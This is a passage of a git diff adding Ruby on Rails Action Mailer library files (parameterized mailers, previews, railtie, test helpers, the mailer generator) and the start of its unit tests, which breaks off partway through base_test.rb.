+  #   InvitationsMailer.with(inviter: person_a, invitee: person_b).account_invitation.deliver_later
+  module Parameterized
+    extend ActiveSupport::Concern
+
+    included do
+      attr_accessor :params
+    end
+
+    module ClassMethods
+      # Provide the parameters to the mailer in order to use them in the instance methods and callbacks.
+      #
+      #   InvitationsMailer.with(inviter: person_a, invitee: person_b).account_invitation.deliver_later
+      #
+      # See Parameterized documentation for full example.
+      def with(params)
+        ActionMailer::Parameterized::Mailer.new(self, params)
+      end
+    end
+
+    class Mailer # :nodoc:
+      def initialize(mailer, params)
+        @mailer, @params = mailer, params
+      end
+
+      private
+        def method_missing(method_name, *args)
+          if @mailer.action_methods.include?(method_name.to_s)
+            ActionMailer::Parameterized::MessageDelivery.new(@mailer, method_name, @params, *args)
+          else
+            super
+          end
+        end
+
+        def respond_to_missing?(method, include_all = false)
+          @mailer.respond_to?(method, include_all)
+        end
+    end
+
+    class MessageDelivery < ActionMailer::MessageDelivery # :nodoc:
+      def initialize(mailer_class, action, params, *args)
+        super(mailer_class, action, *args)
+        @params = params
+      end
+
+      private
+        def processed_mailer
+          @processed_mailer ||= @mailer_class.new.tap do |mailer|
+            mailer.params = @params
+            mailer.process @action, *@args
+          end
+        end
+
+        def enqueue_delivery(delivery_method, options = {})
+          if processed?
+            super
+          else
+            args = @mailer_class.name, @action.to_s, delivery_method.to_s, @params, *@args
+            ActionMailer::Parameterized::DeliveryJob.set(options).perform_later(*args)
+          end
+        end
+    end
+
+    class DeliveryJob < ActionMailer::DeliveryJob # :nodoc:
+      def perform(mailer, mail_method, delivery_method, params, *args)
+        mailer.constantize.with(params).public_send(mail_method, *args).send(delivery_method)
+      end
+    end
+  end
+end
diff --git a/actionmailer/lib/action_mailer/preview.rb b/actionmailer/lib/action_mailer/preview.rb
new file mode 100644
index 0000000000..4a8d3659ec
--- /dev/null
+++ b/actionmailer/lib/action_mailer/preview.rb
@@ -0,0 +1,126 @@
+# frozen_string_literal: true
+
+require "active_support/descendants_tracker"
+
+module ActionMailer
+  module Previews #:nodoc:
+    extend ActiveSupport::Concern
+
+    included do
+      # Set the location of mailer previews through app configuration:
+      #
+      #     config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews"
+      #
+      mattr_accessor :preview_path, instance_writer: false
+
+      # Enable or disable mailer previews through app configuration:
+      #
+      #     config.action_mailer.show_previews = true
+      #
+      # Defaults to true for development environment
+      #
+      mattr_accessor :show_previews, instance_writer: false
+
+      # :nodoc:
+      mattr_accessor :preview_interceptors, instance_writer: false, default: [ActionMailer::InlinePreviewInterceptor]
+    end
+
+    module ClassMethods
+      # Register one or more Interceptors which will be called before mail is previewed.
+      def register_preview_interceptors(*interceptors)
+        interceptors.flatten.compact.each { |interceptor| register_preview_interceptor(interceptor) }
+      end
+
+      # Register an Interceptor which will be called before mail is previewed.
+      # Either a class or a string can be passed in as the Interceptor. If a
+      # string is passed in it will be <tt>constantize</tt>d.
+      def register_preview_interceptor(interceptor)
+        preview_interceptor = \
+          case interceptor
+          when String, Symbol
+            interceptor.to_s.camelize.constantize
+          else
+            interceptor
+          end
+
+        unless preview_interceptors.include?(preview_interceptor)
+          preview_interceptors << preview_interceptor
+        end
+      end
+    end
+  end
+
+  class Preview
+    extend ActiveSupport::DescendantsTracker
+
+    attr_reader :params
+
+    def initialize(params = {})
+      @params = params
+    end
+
+    class << self
+      # Returns all mailer preview classes.
+      def all
+        load_previews if descendants.empty?
+        descendants
+      end
+
+      # Returns the mail object for the given email name. The registered preview
+      # interceptors will be informed so that they can transform the message
+      # as they would if the mail was actually being delivered.
+      def call(email, params = {})
+        preview = new(params)
+        message = preview.public_send(email)
+        inform_preview_interceptors(message)
+        message
+      end
+
+      # Returns all of the available email previews.
+      def emails
+        public_instance_methods(false).map(&:to_s).sort
+      end
+
+      # Returns true if the email exists.
+      def email_exists?(email)
+        emails.include?(email)
+      end
+
+      # Returns true if the preview exists.
+      def exists?(preview)
+        all.any? { |p| p.preview_name == preview }
+      end
+
+      # Find a mailer preview by its underscored class name.
+      def find(preview)
+        all.find { |p| p.preview_name == preview }
+      end
+
+      # Returns the underscored name of the mailer preview without the suffix.
+      def preview_name
+        name.sub(/Preview$/, "").underscore
+      end
+
+      private
+        def load_previews
+          if preview_path
+            Dir["#{preview_path}/**/*_preview.rb"].each { |file| require_dependency file }
+          end
+        end
+
+        def preview_path
+          Base.preview_path
+        end
+
+        def show_previews
+          Base.show_previews
+        end
+
+        def inform_preview_interceptors(message)
+          Base.preview_interceptors.each do |interceptor|
+            interceptor.previewing_email(message)
+          end
+        end
+    end
+  end
+end
diff --git a/actionmailer/lib/action_mailer/railtie.rb b/actionmailer/lib/action_mailer/railtie.rb
new file mode 100644
index 0000000000..36c2e5866d
--- /dev/null
+++ b/actionmailer/lib/action_mailer/railtie.rb
@@ -0,0 +1,76 @@
+# frozen_string_literal: true
+
+require "active_job/railtie"
+require "action_mailer"
+require "rails"
+require "abstract_controller/railties/routes_helpers"
+
+module ActionMailer
+  class Railtie < Rails::Railtie # :nodoc:
+    config.action_mailer = ActiveSupport::OrderedOptions.new
+    config.eager_load_namespaces << ActionMailer
+
+    initializer "action_mailer.logger" do
+      ActiveSupport.on_load(:action_mailer) { self.logger ||= Rails.logger }
+    end
+
+    initializer "action_mailer.set_configs" do |app|
+      paths   = app.config.paths
+      options = app.config.action_mailer
+
+      if app.config.force_ssl
+        options.default_url_options ||= {}
+        options.default_url_options[:protocol] ||= "https"
+      end
+
+      options.assets_dir      ||= paths["public"].first
+      options.javascripts_dir ||= paths["public/javascripts"].first
+      options.stylesheets_dir ||= paths["public/stylesheets"].first
+      options.show_previews = Rails.env.development? if options.show_previews.nil?
+      options.cache_store ||= Rails.cache
+
+      if options.show_previews
+        options.preview_path ||= defined?(Rails.root) ? "#{Rails.root}/test/mailers/previews" : nil
+      end
+
+      # make sure readers methods get compiled
+      options.asset_host          ||= app.config.asset_host
+      options.relative_url_root   ||= app.config.relative_url_root
+
+      ActiveSupport.on_load(:action_mailer) do
+        include AbstractController::UrlFor
+        extend ::AbstractController::Railties::RoutesHelpers.with(app.routes, false)
+        include app.routes.mounted_helpers
+
+        register_interceptors(options.delete(:interceptors))
+        register_preview_interceptors(options.delete(:preview_interceptors))
+        register_observers(options.delete(:observers))
+
+        options.each { |k, v| send("#{k}=", v) }
+      end
+
+      ActiveSupport.on_load(:action_dispatch_integration_test) { include ActionMailer::TestCase::ClearTestDeliveries }
+    end
+
+    initializer "action_mailer.compile_config_methods" do
+      ActiveSupport.on_load(:action_mailer) do
+        config.compile_methods! if config.respond_to?(:compile_methods!)
+      end
+    end
+
+    config.after_initialize do |app|
+      options = app.config.action_mailer
+
+      if options.show_previews
+        app.routes.prepend do
+          get "/rails/mailers"         => "rails/mailers#index", internal: true
+          get "/rails/mailers/*path"   => "rails/mailers#preview", internal: true
+        end
+
+        if options.preview_path
+          ActiveSupport::Dependencies.autoload_paths << options.preview_path
+        end
+      end
+    end
+  end
+end
diff --git a/actionmailer/lib/action_mailer/rescuable.rb b/actionmailer/lib/action_mailer/rescuable.rb
new file mode 100644
index 0000000000..28950eb834
--- /dev/null
+++ b/actionmailer/lib/action_mailer/rescuable.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+module ActionMailer #:nodoc:
+  # Provides `rescue_from` for mailers. Wraps mailer action processing,
+  # mail job processing, and mail delivery.
+  module Rescuable
+    extend ActiveSupport::Concern
+    include ActiveSupport::Rescuable
+
+    class_methods do
+      def handle_exception(exception) #:nodoc:
+        rescue_with_handler(exception) || raise(exception)
+      end
+    end
+
+    def handle_exceptions #:nodoc:
+      yield
+    rescue => exception
+      rescue_with_handler(exception) || raise
+    end
+
+    private
+      def process(*)
+        handle_exceptions do
+          super
+        end
+      end
+  end
+end
diff --git a/actionmailer/lib/action_mailer/test_case.rb b/actionmailer/lib/action_mailer/test_case.rb
new file mode 100644
index 0000000000..ee5a864847
--- /dev/null
+++ b/actionmailer/lib/action_mailer/test_case.rb
@@ -0,0 +1,123 @@
+# frozen_string_literal: true
+
+require "active_support/test_case"
+require "rails-dom-testing"
+
+module ActionMailer
+  class NonInferrableMailerError < ::StandardError
+    def initialize(name)
+      super "Unable to determine the mailer to test from #{name}. " \
+        "You'll need to specify it using tests YourMailer in your " \
+        "test case definition"
+    end
+  end
+
+  class TestCase < ActiveSupport::TestCase
+    module ClearTestDeliveries
+      extend ActiveSupport::Concern
+
+      included do
+        setup :clear_test_deliveries
+        teardown :clear_test_deliveries
+      end
+
+      private
+
+        def clear_test_deliveries
+          if ActionMailer::Base.delivery_method == :test
+            ActionMailer::Base.deliveries.clear
+          end
+        end
+    end
+
+    module Behavior
+      extend ActiveSupport::Concern
+
+      include ActiveSupport::Testing::ConstantLookup
+      include TestHelper
+      include Rails::Dom::Testing::Assertions::SelectorAssertions
+      include Rails::Dom::Testing::Assertions::DomAssertions
+
+      included do
+        class_attribute :_mailer_class
+        setup :initialize_test_deliveries
+        setup :set_expected_mail
+        teardown :restore_test_deliveries
+        ActiveSupport.run_load_hooks(:action_mailer_test_case, self)
+      end
+
+      module ClassMethods
+        def tests(mailer)
+          case mailer
+          when String, Symbol
+            self._mailer_class = mailer.to_s.camelize.constantize
+          when Module
+            self._mailer_class = mailer
+          else
+            raise NonInferrableMailerError.new(mailer)
+          end
+        end
+
+        def mailer_class
+          if mailer = _mailer_class
+            mailer
+          else
+            tests determine_default_mailer(name)
+          end
+        end
+
+        def determine_default_mailer(name)
+          mailer = determine_constant_from_test_name(name) do |constant|
+            Class === constant && constant < ActionMailer::Base
+          end
+          raise NonInferrableMailerError.new(name) if mailer.nil?
+          mailer
+        end
+      end
+
+      private
+
+        def initialize_test_deliveries
+          set_delivery_method :test
+          @old_perform_deliveries = ActionMailer::Base.perform_deliveries
+          ActionMailer::Base.perform_deliveries = true
+          ActionMailer::Base.deliveries.clear
+        end
+
+        def restore_test_deliveries
+          restore_delivery_method
+          ActionMailer::Base.perform_deliveries = @old_perform_deliveries
+        end
+
+        def set_delivery_method(method)
+          @old_delivery_method = ActionMailer::Base.delivery_method
+          ActionMailer::Base.delivery_method = method
+        end
+
+        def restore_delivery_method
+          ActionMailer::Base.deliveries.clear
+          ActionMailer::Base.delivery_method = @old_delivery_method
+        end
+
+        def set_expected_mail
+          @expected = Mail.new
+          @expected.content_type ["text", "plain", { "charset" => charset }]
+          @expected.mime_version = "1.0"
+        end
+
+        def charset
+          "UTF-8"
+        end
+
+        def encode(subject)
+          Mail::Encodings.q_value_encode(subject, charset)
+        end
+
+        def read_fixture(action)
+          IO.readlines(File.join(Rails.root, "test", "fixtures", self.class.mailer_class.name.underscore, action))
+        end
+    end
+
+    include Behavior
+  end
+end
diff --git a/actionmailer/lib/action_mailer/test_helper.rb b/actionmailer/lib/action_mailer/test_helper.rb
new file mode 100644
index 0000000000..ac8b944743
--- /dev/null
+++ b/actionmailer/lib/action_mailer/test_helper.rb
@@ -0,0 +1,115 @@
+# frozen_string_literal: true
+
+require "active_job"
+
+module ActionMailer
+  # Provides helper methods for testing Action Mailer, including #assert_emails
+  # and #assert_no_emails.
+  module TestHelper
+    include ActiveJob::TestHelper
+
+    # Asserts that the number of emails sent matches the given number.
+    #
+    #   def test_emails
+    #     assert_emails 0
+    #     ContactMailer.welcome.deliver_now
+    #     assert_emails 1
+    #     ContactMailer.welcome.deliver_now
+    #     assert_emails 2
+    #   end
+    #
+    # If a block is passed, that block should cause the specified number of
+    # emails to be sent.
+    #
+    #   def test_emails_again
+    #     assert_emails 1 do
+    #       ContactMailer.welcome.deliver_now
+    #     end
+    #
+    #     assert_emails 2 do
+    #       ContactMailer.welcome.deliver_now
+    #       ContactMailer.welcome.deliver_now
+    #     end
+    #   end
+    def assert_emails(number)
+      if block_given?
+        original_count = ActionMailer::Base.deliveries.size
+        yield
+        new_count = ActionMailer::Base.deliveries.size
+        assert_equal number, new_count - original_count, "#{number} emails expected, but #{new_count - original_count} were sent"
+      else
+        assert_equal number, ActionMailer::Base.deliveries.size
+      end
+    end
+
+    # Asserts that no emails have been sent.
+    #
+    #   def test_emails
+    #     assert_no_emails
+    #     ContactMailer.welcome.deliver_now
+    #     assert_emails 1
+    #   end
+    #
+    # If a block is passed, that block should not cause any emails to be sent.
+    #
+    #   def test_emails_again
+    #     assert_no_emails do
+    #       # No emails should be sent from this block
+    #     end
+    #   end
+    #
+    # Note: This assertion is simply a shortcut for:
+    #
+    #   assert_emails 0
+    def assert_no_emails(&block)
+      assert_emails 0, &block
+    end
+
+    # Asserts that the number of emails enqueued for later delivery matches
+    # the given number.
+    #
+    #   def test_emails
+    #     assert_enqueued_emails 0
+    #     ContactMailer.welcome.deliver_later
+    #     assert_enqueued_emails 1
+    #     ContactMailer.welcome.deliver_later
+    #     assert_enqueued_emails 2
+    #   end
+    #
+    # If a block is passed, that block should cause the specified number of
+    # emails to be enqueued.
+    #
+    #   def test_emails_again
+    #     assert_enqueued_emails 1 do
+    #       ContactMailer.welcome.deliver_later
+    #     end
+    #
+    #     assert_enqueued_emails 2 do
+    #       ContactMailer.welcome.deliver_later
+    #       ContactMailer.welcome.deliver_later
+    #     end
+    #   end
+    def assert_enqueued_emails(number, &block)
+      assert_enqueued_jobs number, only: [ ActionMailer::DeliveryJob, ActionMailer::Parameterized::DeliveryJob ], &block
+    end
+
+    # Asserts that no emails are enqueued for later delivery.
+    #
+    #   def test_no_emails
+    #     assert_no_enqueued_emails
+    #     ContactMailer.welcome.deliver_later
+    #     assert_enqueued_emails 1
+    #   end
+    #
+    # If a block is provided, it should not cause any emails to be enqueued.
+    #
+    #   def test_no_emails
+    #     assert_no_enqueued_emails do
+    #       # No emails should be enqueued from this block
+    #     end
+    #   end
+    def assert_no_enqueued_emails(&block)
+      assert_no_enqueued_jobs only: [ ActionMailer::DeliveryJob, ActionMailer::Parameterized::DeliveryJob ], &block
+    end
+  end
+end
diff --git a/actionmailer/lib/action_mailer/version.rb b/actionmailer/lib/action_mailer/version.rb
new file mode 100644
index 0000000000..4549d6eb57
--- /dev/null
+++ b/actionmailer/lib/action_mailer/version.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+require_relative "gem_version"
+
+module ActionMailer
+  # Returns the version of the currently loaded Action Mailer as a
+  # <tt>Gem::Version</tt>.
+  def self.version
+    gem_version
+  end
+end
diff --git a/actionmailer/lib/rails/generators/mailer/USAGE b/actionmailer/lib/rails/generators/mailer/USAGE
new file mode 100644
index 0000000000..2b0a078109
--- /dev/null
+++ b/actionmailer/lib/rails/generators/mailer/USAGE
@@ -0,0 +1,17 @@
+Description:
+============
+    Stubs out a new mailer and its views. Passes the mailer name, either
+    CamelCased or under_scored, and an optional list of emails as arguments.
+
+    This generates a mailer class in app/mailers and invokes your template
+    engine and test framework generators.
+
+Example:
+========
+    rails generate mailer Notifications signup forgot_password invoice
+
+    creates a Notifications mailer class, views, and test:
+        Mailer:     app/mailers/notifications_mailer.rb
+        Views:      app/views/notifications_mailer/signup.text.erb [...]
+        Test:       test/mailers/notifications_mailer_test.rb
+
diff --git a/actionmailer/lib/rails/generators/mailer/mailer_generator.rb b/actionmailer/lib/rails/generators/mailer/mailer_generator.rb
new file mode 100644
index 0000000000..97eac30db1
--- /dev/null
+++ b/actionmailer/lib/rails/generators/mailer/mailer_generator.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+module Rails
+  module Generators
+    class MailerGenerator < NamedBase
+      source_root File.expand_path("templates", __dir__)
+
+      argument :actions, type: :array, default: [], banner: "method method"
+
+      check_class_collision suffix: "Mailer"
+
+      def create_mailer_file
+        template "mailer.rb", File.join("app/mailers", class_path, "#{file_name}_mailer.rb")
+
+        in_root do
+          if behavior == :invoke && !File.exist?(application_mailer_file_name)
+            template "application_mailer.rb", application_mailer_file_name
+          end
+        end
+      end
+
+      hook_for :template_engine, :test_framework
+
+      private
+        def file_name # :doc:
+          @_file_name ||= super.gsub(/_mailer/i, "")
+        end
+
+        def application_mailer_file_name
+          @_application_mailer_file_name ||= if mountable_engine?
+            "app/mailers/#{namespaced_path}/application_mailer.rb"
+          else
+            "app/mailers/application_mailer.rb"
+          end
+        end
+    end
+  end
+end
diff --git a/actionmailer/lib/rails/generators/mailer/templates/application_mailer.rb b/actionmailer/lib/rails/generators/mailer/templates/application_mailer.rb
new file mode 100644
index 0000000000..00fb9bd48f
--- /dev/null
+++ b/actionmailer/lib/rails/generators/mailer/templates/application_mailer.rb
@@ -0,0 +1,6 @@
+<% module_namespacing do -%>
+class ApplicationMailer < ActionMailer::Base
+  default from: 'from@example.com'
+  layout 'mailer'
+end
+<% end %>
diff --git a/actionmailer/lib/rails/generators/mailer/templates/mailer.rb b/actionmailer/lib/rails/generators/mailer/templates/mailer.rb
new file mode 100644
index 0000000000..348d314758
--- /dev/null
+++ b/actionmailer/lib/rails/generators/mailer/templates/mailer.rb
@@ -0,0 +1,17 @@
+<% module_namespacing do -%>
+class <%= class_name %>Mailer < ApplicationMailer
+<% actions.each do |action| -%>
+
+  # Subject can be set in your I18n file at config/locales/en.yml
+  # with the following lookup:
+  #
+  #   en.<%= file_path.tr("/",".") %>_mailer.<%= action %>.subject
+  #
+  def <%= action %>
+    @greeting = "Hi"
+
+    mail to: "to@example.org"
+  end
+<% end -%>
+end
+<% end -%>
diff --git a/actionmailer/test/abstract_unit.rb b/actionmailer/test/abstract_unit.rb
new file mode 100644
index 0000000000..45f69d5375
--- /dev/null
+++ b/actionmailer/test/abstract_unit.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/kernel/reporting"
+
+# These are the normal settings that will be set up by Railties
+# TODO: Have these tests support other combinations of these values
+silence_warnings do
+  Encoding.default_internal = Encoding::UTF_8
+  Encoding.default_external = Encoding::UTF_8
+end
+
+module Rails
+  def self.root
+    File.expand_path("..", __dir__)
+  end
+end
+
+require "active_support/testing/autorun"
+require "active_support/testing/method_call_assertions"
+require "action_mailer"
+require "action_mailer/test_case"
+
+# Emulate AV railtie
+require "action_view"
+ActionMailer::Base.include(ActionView::Layouts)
+
+# Show backtraces for deprecated behavior for quicker cleanup.
+ActiveSupport::Deprecation.debug = true
+
+# Disable available locale checks to avoid warnings running the test suite.
+I18n.enforce_available_locales = false
+
+FIXTURE_LOAD_PATH = File.expand_path("fixtures", __dir__)
+ActionMailer::Base.view_paths = FIXTURE_LOAD_PATH
+
+class ActiveSupport::TestCase
+  include ActiveSupport::Testing::MethodCallAssertions
+
+  # Skips the current run on Rubinius using Minitest::Assertions#skip
+  private def rubinius_skip(message = "")
+    skip message if RUBY_ENGINE == "rbx"
+  end
+  # Skips the current run on JRuby using Minitest::Assertions#skip
+  private def jruby_skip(message = "")
+    skip message if defined?(JRUBY_VERSION)
+  end
+end
diff --git a/actionmailer/test/assert_select_email_test.rb b/actionmailer/test/assert_select_email_test.rb
new file mode 100644
index 0000000000..eb58ddd9c9
--- /dev/null
+++ b/actionmailer/test/assert_select_email_test.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class AssertSelectEmailTest < ActionMailer::TestCase
+  class AssertSelectMailer < ActionMailer::Base
+    def test(html)
+      mail body: html, content_type: "text/html",
+        subject: "Test e-mail", from: "test@test.host", to: "test <test@test.host>"
+    end
+  end
+
+  class AssertMultipartSelectMailer < ActionMailer::Base
+    def test(options)
+      mail subject: "Test e-mail", from: "test@test.host", to: "test <test@test.host>" do |format|
+        format.text { render plain: options[:text] }
+        format.html { render plain: options[:html] }
+      end
+    end
+  end
+
+  #
+  # Test assert_select_email
+  #
+
+  def test_assert_select_email
+    assert_raise ActiveSupport::TestCase::Assertion do
+      assert_select_email {}
+    end
+
+    AssertSelectMailer.test("<div><p>foo</p><p>bar</p></div>").deliver_now
+    assert_select_email do
+      assert_select "div:root" do
+        assert_select "p:first-child", "foo"
+        assert_select "p:last-child", "bar"
+      end
+    end
+  end
+
+  def test_assert_select_email_multipart
+    AssertMultipartSelectMailer.test(html: "<div><p>foo</p><p>bar</p></div>", text: "foo bar").deliver_now
+    assert_select_email do
+      assert_select "div:root" do
+        assert_select "p:first-child", "foo"
+        assert_select "p:last-child", "bar"
+      end
+    end
+  end
+end
diff --git a/actionmailer/test/asset_host_test.rb b/actionmailer/test/asset_host_test.rb
new file mode 100644
index 0000000000..2a14248488
--- /dev/null
+++ b/actionmailer/test/asset_host_test.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "action_controller"
+
+class AssetHostMailer < ActionMailer::Base
+  def email_with_asset
+    mail to: "test@localhost",
+      subject: "testing email containing asset path while asset_host is set",
+      from: "tester@example.com"
+  end
+end
+
+class AssetHostTest < ActionMailer::TestCase
+  def setup
+    AssetHostMailer.configure do |c|
+      c.asset_host = "http://www.example.com"
+    end
+  end
+
+  def teardown
+    restore_delivery_method
+  end
+
+  def test_asset_host_as_string
+    mail = AssetHostMailer.email_with_asset
+    assert_dom_equal '<img alt="Somelogo" src="http://www.example.com/images/somelogo.png" />', mail.body.to_s.strip
+  end
+
+  def test_asset_host_as_one_argument_proc
+    AssetHostMailer.config.asset_host = Proc.new { |source|
+      if source.starts_with?("/images")
+        "http://images.example.com"
+      end
+    }
+    mail = AssetHostMailer.email_with_asset
+    assert_dom_equal '<img alt="Somelogo" src="http://images.example.com/images/somelogo.png" />', mail.body.to_s.strip
+  end
+end
diff --git a/actionmailer/test/base_test.rb b/actionmailer/test/base_test.rb
new file mode 100644
index 0000000000..2b0e2165e3
--- /dev/null
+++ b/actionmailer/test/base_test.rb
@@ -0,0 +1,988 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "set"
+
+require "action_dispatch"
+require "active_support/time"
+
+require "mailers/base_mailer"
+require "mailers/proc_mailer"
+require "mailers/asset_mailer"
+
+class BaseTest < ActiveSupport::TestCase
+  include Rails::Dom::Testing::Assertions::DomAssertions
+
+  setup do
+    @original_delivery_method = ActionMailer::Base.delivery_method
+    ActionMailer::Base.delivery_method = :test
+    @original_asset_host = ActionMailer::Base.asset_host
+    @original_assets_dir = ActionMailer::Base.assets_dir
+  end
+
+  teardown do
+    ActionMailer::Base.asset_host = @original_asset_host
+    ActionMailer::Base.assets_dir = @original_assets_dir
+    BaseMailer.deliveries.clear
+    ActionMailer::Base.delivery_method = @original_delivery_method
+  end
+
+  test "method call to mail does not raise error" do
+    assert_nothing_raised { BaseMailer.welcome }
+  end
+
+  # Basic mail usage without block
+  test "mail() should set the headers of the mail message" do
+    email = BaseMailer.welcome
+    assert_equal(["system@test.lindsaar.net"],    email.to)
+    assert_equal(["jose@test.plataformatec.com"], email.from)
+    assert_equal("The first email on new API!",   email.subject)
+  end
+
+  test "mail() with from overwrites the class level default" do
+    email = BaseMailer.welcome(from: "someone@example.com",
+                               to:   "another@example.org")
+    assert_equal(["someone@example.com"], email.from)
+    assert_equal(["another@example.org"], email.to)
+  end
+
+  test "mail() with bcc, cc, content_type, charset, mime_version, reply_to and date" do
+    time  = Time.now.beginning_of_day.to_datetime
+    email = BaseMailer.welcome(bcc: "bcc@test.lindsaar.net",
+                               cc: "cc@test.lindsaar.net",
+                               content_type: "multipart/mixed",
+                               charset: "iso-8559-1",
+                               mime_version: "2.0",
+                               reply_to: "reply-to@test.lindsaar.net",
+                               date: time)
+    assert_equal(["bcc@test.lindsaar.net"],             email.bcc)
+    assert_equal(["cc@test.lindsaar.net"],              email.cc)
+    assert_equal("multipart/mixed; charset=iso-8559-1", email.content_type)
+    assert_equal("iso-8559-1",                          email.charset)
+    assert_equal("2.0",                                 email.mime_version)
+    assert_equal(["reply-to@test.lindsaar.net"],        email.reply_to)
+    assert_equal(time,                                  email.date)
+  end
+
+  test "mail() renders the template using the method being processed" do
+    email = BaseMailer.welcome
+    assert_equal("Welcome", email.body.encoded)
+  end
+
+  test "can pass in :body to the mail method hash" do
+    email = BaseMailer.welcome(body: "Hello there")
+    assert_equal("text/plain", email.mime_type)
+    assert_equal("Hello there", email.body.encoded)
+  end
+
+  test "should set template content type if mail has only one part" do
+    mail = BaseMailer.html_only
+    assert_equal("text/html", mail.mime_type)
+    mail = BaseMailer.plain_text_only
+    assert_equal("text/plain", mail.mime_type)
+  end
+
+  # Custom headers
+  test "custom headers" do
+    email = BaseMailer.welcome
+    assert_equal("Not SPAM", email["X-SPAM"].decoded)
+  end
+
+  test "can pass random headers in as a hash to mail" do
+    hash = { "X-Special-Domain-Specific-Header" => "SecretValue",
+            "In-Reply-To" => "1234@mikel.me.com" }
+    mail = BaseMailer.welcome(hash)
+    assert_equal("SecretValue", mail["X-Special-Domain-Specific-Header"].decoded)
+    assert_equal("1234@mikel.me.com", mail["In-Reply-To"].decoded)
+  end
+
+  test "can pass random headers in as a hash to headers" do
+    hash = { "X-Special-Domain-Specific-Header" => "SecretValue",
+            "In-Reply-To" => "1234@mikel.me.com" }
+    mail = BaseMailer.welcome_with_headers(hash)
+    assert_equal("SecretValue", mail["X-Special-Domain-Specific-Header"].decoded)
+    assert_equal("1234@mikel.me.com", mail["In-Reply-To"].decoded)
+  end
+
+  # Attachments
+  test "attachment with content" do
+    email = BaseMailer.attachment_with_content
+    assert_equal(1, email.attachments.length)
+    assert_equal("invoice.pdf", email.attachments[0].filename)
+    assert_equal("This is test File content", email.attachments["invoice.pdf"].decoded)
+  end
+
+  test "attachment gets content type from filename" do
+    email = BaseMailer.attachment_with_content
+    assert_equal("invoice.pdf", email.attachments[0].filename)
+    assert_equal("application/pdf", email.attachments[0].mime_type)
+  end
+
+  test "attachment with hash" do
+    email = BaseMailer.attachment_with_hash
+    assert_equal(1, email.attachments.length)
+    assert_equal("invoice.jpg", email.attachments[0].filename)
+    expected = "\312\213\254\232)b".dup
+    expected.force_encoding(Encoding::BINARY)
+    assert_equal expected, email.attachments["invoice.jpg"].decoded
+  end
+
+  test "attachment with hash using default mail encoding" do
+    email = BaseMailer.attachment_with_hash_default_encoding
+    assert_equal(1, email.attachments.length)
+    assert_equal("invoice.jpg", email.attachments[0].filename)
+    expected = "\312\213\254\232)b".dup
+    expected.force_encoding(Encoding::BINARY)
+    assert_equal expected, email.attachments["invoice.jpg"].decoded
+  end
+
+  test "sets mime type to multipart/mixed when attachment is included" do
+    email = BaseMailer.attachment_with_content
+    assert_equal(1, email.attachments.length)
+    assert_equal("multipart/mixed", email.mime_type)
+  end
+
+  test "set mime type to text/html when attachment is included and body is set" do
+    email = BaseMailer.attachment_with_content(body: "Hello there", content_type: "text/html")
+    assert_equal("text/html", email.mime_type)
+  end
+
+  test "adds the rendered template as part" do
+    email = BaseMailer.attachment_with_content
+    assert_equal(2, email.parts.length)
+    assert_equal("multipart/mixed", email.mime_type)
+    assert_equal("text/html", email.parts[0].mime_type)
+    assert_equal("Attachment with content", email.parts[0].body.encoded)
+    assert_equal("application/pdf", email.parts[1].mime_type)
+    assert_equal("VGhpcyBpcyB0ZXN0IEZpbGUgY29udGVudA==\r\n", email.parts[1].body.encoded)
+  end
+
+  test "adds the given :body as part" do
+    email = BaseMailer.attachment_with_content(body: "I'm the eggman")
+    assert_equal(2, email.parts.length)
+    assert_equal("multipart/mixed", email.mime_type)
+    assert_equal("text/plain", email.parts[0].mime_type)
+    assert_equal("I'm the eggman", email.parts[0].body.encoded)
+    assert_equal("application/pdf", email.parts[1].mime_type)
+    assert_equal("VGhpcyBpcyB0ZXN0IEZpbGUgY29udGVudA==\r\n", email.parts[1].body.encoded)
+  end
+
+  test "can embed an inline attachment" do
+    email = BaseMailer.inline_attachment
+    # Need to call #encoded to force the JIT sort on parts
+    email.encoded
+    assert_equal(2, email.parts.length)
+    assert_equal("multipart/related", email.mime_type)
+    assert_equal("multipart/alternative", email.parts[0].mime_type)
+    assert_equal("text/plain", email.parts[0].parts[0].mime_type)
+    assert_equal("text/html",  email.parts[0].parts[1].mime_type)
+    assert_equal("logo.png", email.parts[1].filename)
+  end
+
+  # Defaults values
+  test "uses default charset from class" do
+    with_default BaseMailer, charset: "US-ASCII" do
+      email = BaseMailer.welcome
+      assert_equal("US-ASCII", email.charset)
+
+      email = BaseMailer.welcome(charset: "iso-8559-1")
+      assert_equal("iso-8559-1", email.charset)
+    end
+  end
+
+  test "uses default content type from class" do
+    with_default BaseMailer, content_type: "text/html" do
+      email = BaseMailer.welcome
+      assert_equal("text/html", email.mime_type)
+
+      email = BaseMailer.welcome(content_type: "text/plain")
+      assert_equal("text/plain", email.mime_type)
+    end
+  end
+
+  test "uses default mime version from class" do
+    with_default BaseMailer, mime_version: "2.0" do
+      email = BaseMailer.welcome
+      assert_equal("2.0", email.mime_version)
+
+      email = BaseMailer.welcome(mime_version: "1.0")
+      assert_equal("1.0", email.mime_version)
+    end
+  end
+
+  test "uses random default headers from class" do
+    with_default BaseMailer, "X-Custom" => "Custom" do
+      email = BaseMailer.welcome
+      assert_equal("Custom", email["X-Custom"].decoded)
+    end
+  end
+
+  test "subject gets default from I18n" do
+    with_default BaseMailer, subject: nil do
+      email = BaseMailer.welcome(subject: nil)
+      assert_equal "Welcome", email.subject
+
+      with_translation "en", base_mailer: { welcome: { subject: "New Subject!" } } do
+        email = BaseMailer.welcome(subject: nil)
+        assert_equal "New Subject!", email.subject
+      end
+    end
+  end
+
+  test "default subject can have interpolations" do
+    with_translation "en", base_mailer: { with_subject_interpolations: { subject: "Will the real %{rapper_or_impersonator} please stand up?" } } do
+      email = BaseMailer.with_subject_interpolations
+      assert_equal "Will the real Slim Shady please stand up?", email.subject
+    end
+  end
+
+  test "translations are scoped properly" do
+    with_translation "en", base_mailer: { email_with_translations: { greet_user: "Hello %{name}!" } } do
+      email = BaseMailer.email_with_translations
+      assert_equal "Hello lifo!", email.body.encoded
+    end
+  end
+
